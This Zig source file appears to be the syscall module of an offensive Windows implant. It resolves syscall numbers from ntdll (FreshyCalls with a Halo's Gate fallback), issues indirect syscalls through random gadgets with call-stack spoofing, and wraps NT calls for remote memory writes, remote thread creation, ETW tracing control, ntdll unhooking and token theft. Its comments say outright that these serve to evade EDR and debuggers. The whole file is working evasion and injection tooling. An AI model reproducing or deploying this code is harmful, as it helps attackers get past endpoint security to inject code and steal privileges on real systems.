// Syscall dispatch, SSN extraction, indirect syscalls. const std = @import("std"); const win = @import("win32.zig"); const resolve = @import("resolve.zig"); const api = @import("api.zig"); var g_syscall_addrs: [64]usize = [_]usize{0} ** 64; var g_syscall_count: usize = 0; var g_ntdll_base: ?*anyopaque = null; var g_init_done: bool = false; var g_rand_state: u64 = 0; // FreshyCalls table, ntdll Nt* exports sorted by RVA. SSN = sort position. const FRESHY_MAX: usize = 1024; const FreshyEntry = struct { hash: u32, rva: u32 }; var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined; var g_freshy_count: usize = 0; var g_freshy_ready: bool = false; var g_fake_return_addr: usize = 0; extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void; extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize; pub fn xorshift64() u64 { var state = g_rand_state; state ^= state << 13; state ^= state >> 7; state ^= state << 17; g_rand_state = state; return state; } var g_ntdll_size: usize = 0; pub var g_exc_begin: usize = 0; pub var g_exc_count: usize = 0; // FreshyCalls table builder. Walks ntdll export directory, collects Nt* exports // with real code addresses. Sorts by RVA ascending. SSN = sort position. // Immune to inline hooking, EDRs cannot change linker RVA order. fn build_freshy_table() void { const base = g_ntdll_base orelse return; const base_bytes = @as([*]u8, @ptrCast(base)); const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes))); if (dos.e_magic != 0x5A4D) return; const NT_SIGNATURE: u32 = 0x00004550; const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { Magic: u16, pad1: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } }, }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew))))); if (nt.Signature != NT_SIGNATURE) return; const export_dir = nt.OptionalHeader.DataDirectory[0]; if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return; const exp = @as(*align(1) extern struct { Characteristics: u32, TimeDateStamp: u32, MajorVersion: u16, MinorVersion: u16, Name: u32, Base: u32, NumberOfFunctions: u32, NumberOfNames: u32, AddressOfFunctions: u32, AddressOfNames: u32, AddressOfNameOrdinals: u32, }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress))))); if (exp.NumberOfNames == 0) return; const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames))))); const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions))))); const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals))))); g_freshy_count = 0; const export_dir_end = export_dir.VirtualAddress + export_dir.Size; var i: u32 = 0; while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) { const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i]))))); const name = std.mem.sliceTo(name_ptr, 0); // Only Nt* exports, Zw* shares identical SSNs and would produce duplicates if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue; const ordinal = ords[i]; if (ordinal >= exp.NumberOfFunctions) continue; const rva = funcs[ordinal]; // Skip forwarded exports, RVAs point inside the export directory if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue; g_freshy_entries[g_freshy_count] = FreshyEntry{ .hash = resolve.hash_ror13(name), .rva = rva, }; g_freshy_count += 1; } // Sort by RVA ascending, SSN = position in sorted order if (g_freshy_count > 1) { var bubble_i: usize = 0; while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) { var swapped = false; var bubble_j: usize = 0; while (bubble_j < g_freshy_count - 1 - bubble_i) : (bubble_j += 1) { if (g_freshy_entries[bubble_j].rva > g_freshy_entries[bubble_j + 1].rva) { const tmp = g_freshy_entries[bubble_j]; g_freshy_entries[bubble_j] = g_freshy_entries[bubble_j + 1]; g_freshy_entries[bubble_j + 1] = tmp; swapped = true; } } if (!swapped) break; } } g_freshy_ready = true; } // FreshyCalls lookup, linear scan by hash in sorted table. Returns SSN. fn extract_ssn_freshy(func_hash: u32) ?u16 { if (!g_freshy_ready) return null; for (0..g_freshy_count) |i| { if (g_freshy_entries[i].hash == func_hash) { return @as(u16, @intCast(i)); } } return null; } pub const RUNTIME_FUNCTION = extern struct { BeginAddress: u32, EndAddress: u32, UnwindInfoAddress: u32, }; // Falls back to HAL's Gate, binary search exception directory with 0xB8 scan. pub fn extract_ssn(func_hash: u32) ?u16 { if (!init_syscall()) return null; if (extract_ssn_freshy(func_hash)) |ssn| return ssn; const base = g_ntdll_base orelse return null; const func_addr = resolve.get_func_by_hash(base, func_hash) orelse return null; const func_addr_base = @intFromPtr(func_addr); const base_addr = @intFromPtr(base); const in_ntdll = func_addr_base >= base_addr and func_addr_base < base_addr + g_ntdll_size; if (!in_ntdll) return null; const func_rva = @as(u32, @intCast(func_addr_base - base_addr)); if (g_exc_count == 0) return null; const funcs = @as([*]align(1) const RUNTIME_FUNCTION, @ptrFromInt(g_exc_begin)); var lo: usize = 0; var hi: usize = g_exc_count; while (lo < hi) { const mid = lo + (hi - lo) / 2; const entry = funcs[mid]; if (func_rva < entry.BeginAddress) { hi = mid; } else if (func_rva >= entry.EndAddress) { lo = mid + 1; } else { const start_rva = entry.BeginAddress; const end_rva = entry.EndAddress; const scan_bytes = @as([*]const u8, @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva)); const scan_len = @min(end_rva - start_rva, 96); var j: usize = 4; while (j < scan_len) : (j += 1) { if (scan_bytes[j] == 0xB8) { const ssn = std.mem.readInt(u32, scan_bytes[j + 1 ..][0..4], .little); if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) { return @as(u16, @intCast(ssn)); } } } return null; } } return null; } // Seeds PRNG, builds FreshyCalls table, caches exception directory. // Runs once, subsequent calls no-op. pub fn init_syscall() bool { if (g_init_done and g_ntdll_base != null) return true; const ntdll_hash = resolve.hash_ror13("ntdll.dll"); g_ntdll_base = resolve.get_module_by_hash(ntdll_hash); if (g_ntdll_base == null) return false; // Seed PRNG from stack address ^ tick count var stack_var: u64 = 0; g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var))); if (resolve.resolve_api(resolve.hash_ror13("kernel32.dll"), resolve.hash_ror13("GetTickCount64"))) |p| { const GetTickCount64 = @as(*const fn () callconv(win.WINAPI) u64, @ptrCast(p)); g_rand_state ^= GetTickCount64(); } // Scan .text for syscall;ret (0F 05 C3) gadgets, scoped to .text section const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?)); const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes))); if (dos.e_magic != 0x5A4D) return false; const NT_SIGNATURE: u32 = 0x00004550; const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 } }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew))))); if (nt.Signature != NT_SIGNATURE) return false; g_ntdll_size = nt.OptionalHeader.SizeOfImage; g_syscall_count = 0; // Walk section headers to find .text and .pdata bounds { const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240)); const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start)); var text_va: usize = 0; var text_size: usize = 0; for (0..nt.FileHeader.NumberOfSections) |si| { const sec = §ions[si]; if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) { text_va = sec.VirtualAddress; text_size = sec.VirtualSize; } if (sec.Name[0] == '.' and sec.Name[1] == 'p' and sec.Name[2] == 'd' and sec.Name[3] == 'a' and sec.Name[4] == 't' and sec.Name[5] == 'a') { g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(g_ntdll_base.?)) + sec.VirtualAddress); g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION); } } if (text_va == 0 or text_size == 0) return false; // Scan .text for syscall;ret (0F 05 C3) gadgets var j: usize = text_va; const scan_end: usize = text_va + text_size; while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) { if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) { g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]); g_syscall_count += 1; } // Find standalone ret (0xC3) not part of syscall;ret for callstack spoof if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) { if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) { g_fake_return_addr = @intFromPtr(&base_bytes[j]); } } } } if (g_syscall_count == 0) return false; // Build FreshyCalls table build_freshy_table(); g_init_done = true; return true; } // Syscall dispatch. Extracts SSN, picks random gadget from pool, calls asm stub. pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize { const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001); const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count; const gadget = g_syscall_addrs[idx]; // Callstack spoof: push standalone ret from ntdll so kernel sees ntdll frames. // Gated to <5 args, 5+ arg syscalls have stack args RSP+0x28+idx*8 shifted by push. const fake: usize = if (arg_count < 5) g_fake_return_addr else 0; hells_gate(@as(u32, ssn), gadget, fake); const a = [11]usize{ if (arg_count > 0) args[0] else 0, if (arg_count > 1) args[1] else 0, if (arg_count > 2) args[2] else 0, if (arg_count > 3) args[3] else 0, if (arg_count > 4) args[4] else 0, if (arg_count > 5) args[5] else 0, if (arg_count > 6) args[6] else 0, if (arg_count > 7) args[7] else 0, if (arg_count > 8) args[8] else 0, if (arg_count > 9) args[9] else 0, if (arg_count > 10) args[10] else 0, }; return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]); } fn ntstatus(r: usize) win.NTSTATUS { return @as(win.NTSTATUS, @bitCast(@as(u32, @truncate(r)))); } // --------- NT API wrappers --------- // Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash. // Standard sleep syscall. pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS { const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2)); } // Queries process info (PPI, PE flags, mitigation policies, etc). pub fn nt_query_information_process(process_handle: win.HANDLE, info_class: u32, info: *anyopaque, info_len: u32, return_len: ?*u32) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (return_len) |rl| @intFromPtr(rl) else @as(usize, 0) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryInformationProcess"), &args, 5)); } // Sets thread properties (hide from debugger, etc). pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, info: ?*const anyopaque, info_len: u32) win.NTSTATUS { const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), if (info) |i| @intFromPtr(i) else @as(usize, 0), @as(usize, info_len) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4)); } // Closes a handle. pub fn nt_close(handle: win.HANDLE) win.NTSTATUS { const args = [_]usize{@intFromPtr(handle)}; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1)); } // Pseudo-handles: no need to open, just use these constants pub fn nt_current_process() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF)); } pub fn nt_current_thread() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE)); } // Opens a handle to another process by PID. pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(object_attributes), @intFromPtr(client_id) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4)); } // Sets process-level properties. Spoofed because EDR callbacks use this API. pub fn nt_set_information_process(process_handle: win.HANDLE, info_class: u32, info: *const anyopaque, info_len: u32) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationProcess"), &args, 4)); } pub fn nt_allocate_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, region_size: *win.SIZE_T, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, zero_bits), @intFromPtr(region_size), @as(usize, allocation_type), @as(usize, protect) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtAllocateVirtualMemory"), &args, 6)); } // Writes memory in any process. pub fn nt_write_virtual_memory(process_handle: win.HANDLE, base_address: *anyopaque, buffer: [*]const u8, buffer_len: win.SIZE_T, bytes_written: ?*win.SIZE_T) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(buffer), @as(usize, buffer_len), if (bytes_written) |bw| @intFromPtr(bw) else @as(usize, 0) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtWriteVirtualMemory"), &args, 5)); } // Changes page protection. pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5)); } // Creates a thread in any process. pub fn nt_create_thread_ex(thread_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*const win.OBJECT_ATTRIBUTES, process_handle: win.HANDLE, start_address: *anyopaque, parameter: ?*anyopaque, create_flags: win.ULONG, zero_bits: win.SIZE_T, stack_size: win.SIZE_T, max_stack_size: win.SIZE_T, attribute_list: ?*anyopaque) win.NTSTATUS { const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromPtr(process_handle), @intFromPtr(start_address), if (parameter) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, create_flags), @as(usize, zero_bits), @as(usize, stack_size), @as(usize, max_stack_size), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateThreadEx"), &args, 11)); } // Creates a new process. pub fn nt_create_user_process(process_handle: *win.HANDLE, thread_handle: *win.HANDLE, process_access: win.DWORD, thread_access: win.DWORD, process_oa: ?*const win.OBJECT_ATTRIBUTES, thread_oa: ?*const win.OBJECT_ATTRIBUTES, process_flags: win.ULONG, thread_flags: win.ULONG, process_parameters: ?*anyopaque, create_info: *win.PROCESS_CREATE_INFO, attribute_list: ?*anyopaque) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(thread_handle), @as(usize, process_access), @as(usize, thread_access), if (process_oa) |oa| @intFromPtr(oa) else @as(usize, 0), if (thread_oa) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, process_flags), @as(usize, thread_flags), if (process_parameters) |pp| @intFromPtr(pp) else @as(usize, 0), @intFromPtr(create_info), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateUserProcess"), &args, 11)); } // Controls ETW tracing sessions. Used to stop EDR provider GUIDs. pub fn nt_trace_control(code: win.ULONG, input: ?*anyopaque, input_len: win.ULONG, output: ?*anyopaque, output_len: win.ULONG, ret_len: *win.ULONG) win.NTSTATUS { const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6)); } // Queries memory region info for an address range. pub fn nt_query_virtual_memory(process: win.HANDLE, base: ?*const anyopaque, info_class: u32, info: *anyopaque, info_len: win.SIZE_T, ret_len: ?*win.SIZE_T) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process), @intFromPtr(base), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (ret_len) |p| @intFromPtr(p) else @as(usize, 0) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryVirtualMemory"), &args, 6)); } // Opens an existing section object by name. Used by ntdll unhooking to map \KnownDlls\ntdll.dll. // Ref: https://ntdoc.m417z.com/ntopensection pub fn nt_open_section(section_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *win.OBJECT_ATTRIBUTES) win.NTSTATUS { const args = [_]usize{ @intFromPtr(section_handle), @as(usize, desired_access), @intFromPtr(object_attributes) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenSection"), &args, 3)); } // Maps a view of a section into the virtual address space of a process. // Ref: https://ntdoc.m417z.com/ntmapviewofsection pub fn nt_map_view_of_section(section_handle: win.HANDLE, process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, commit_size: win.SIZE_T, section_offset: ?*win.LARGE_INTEGER, view_size: *win.SIZE_T, inherit_disposition: u32, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS { const args = [_]usize{ @intFromPtr(section_handle), @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, @intCast(zero_bits)), @as(usize, commit_size), if (section_offset) |off| @intFromPtr(off) else @as(usize, 0), @intFromPtr(view_size), @as(usize, inherit_disposition), @as(usize, allocation_type), @as(usize, protect) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtMapViewOfSection"), &args, 10)); } // Unmaps a view of a section. Ref: https://ntdoc.m417z.com/ntunmapviewofsection pub fn nt_unmap_view_of_section(process_handle: win.HANDLE, base_address: ?*anyopaque) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtUnmapViewOfSection"), &args, 2)); } // Opens the access token associated with a process. Used by token theft. // Ref: https://ntdoc.m417z.com/ntopenprocesstoken pub fn nt_open_process_token(process_handle: win.HANDLE, desired_access: win.DWORD, token_handle: *win.HANDLE) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(token_handle) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcessToken"), &args, 3)); } // Duplicates a token handle. Used to create an impersonation token from a primary token. // Ref: https://ntdoc.m417z.com/ntduplicatetoken pub fn nt_duplicate_token(existing_token: win.HANDLE, desired_access: win.DWORD, object_attributes: ?*win.OBJECT_ATTRIBUTES, effective_only: win.BOOLEAN, token_type: win.DWORD, new_token: *win.HANDLE) win.NTSTATUS { const args = [_]usize{ @intFromPtr(existing_token), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromBool(effective_only != 0), @as(usize, token_type), @intFromPtr(new_token) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDuplicateToken"), &args, 6)); }